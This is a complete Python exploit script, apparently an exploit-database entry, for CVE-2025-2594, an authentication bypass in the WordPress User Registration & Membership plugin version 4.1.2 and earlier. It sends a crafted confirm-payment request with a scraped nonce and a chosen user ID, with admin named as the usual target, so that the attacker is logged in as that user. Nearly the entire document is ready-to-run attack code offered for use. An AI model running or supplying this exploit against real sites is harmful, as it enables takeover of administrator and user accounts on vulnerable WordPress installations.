WordPress User Registration & Membership Plugin 4.1.2 – Authentication Bypass
#!/usr/bin/env python3 # Exploit Title: WordPress User Registration & Membership Plugin 4.1.2 - Authentication Bypass # Date: 2025-05-22 # Exploit Author: Mohammed Idrees Banyamer # Vendor Homepage: https://wordpress.org/plugins/user-registration/ # Software Link: https://downloads.wordpress.org/plugin/user-registration.4.1.2.zip # Version: <= 4.1.2 # Tested on: WordPress 6.x, Apache on Linux # CVE: CVE-2025-2594 import requests import sys import argparse from urllib.parse import urljoin from termcolor import cprint, colored def banner(): cprint("┌──────────────────────────────────────────────┐", "cyan") cprint("│ WordPress Plugin User Registration <= 4.1.2 │", "cyan") cprint("│ Authentication Bypass Exploit (CVE-2025-2594)│", "cyan") cprint("│ Author: Mohammed Idrees Banyamer │", "cyan") cprint("└──────────────────────────────────────────────┘", "cyan") def exploit(target_url, member_id, nonce): endpoint = urljoin(target_url, "/wp-admin/admin-ajax.php") files = { 'action': (None, 'user_registration_membership_confirm_payment'), 'security': (None, nonce), 'form_response': (None, '{"auto_login": true}'), 'member_id': (None, str(member_id)) } cprint(f"[+] Target URL: {endpoint}", "yellow") cprint(f"[+] Attempting to bypass authentication as user ID {member_id}...\n", "yellow") try: response = requests.post(endpoint, files=files, timeout=10) if response.status_code == 200 and '"success":true' in response.text: cprint("[✓] Exploit successful! Authentication bypass achieved.", "green") cprint("[!] Check your session/cookies - you may now be authenticated as the target user.\n", "green") print("Server Response:") print(response.text) else: cprint("[-] Exploit failed or invalid nonce/member_id.", "red") print("Server Response:") print(response.text) except requests.exceptions.RequestException as e: cprint(f"[!] Request failed: {e}", "red") def main(): banner() parser = argparse.ArgumentParser(description="CVE-2025-2594 - WordPress Plugin Authentication Bypass") parser.add_argument("target", help="Base target URL (e.g., http://localhost)") parser.add_argument("member_id", help="Target user ID (usually 1 for admin)") parser.add_argument("nonce", help="_confirm_payment_nonce value from registration page") args = parser.parse_args() exploit(args.target, args.member_id, args.nonce) if __name__ == "__main__": main() |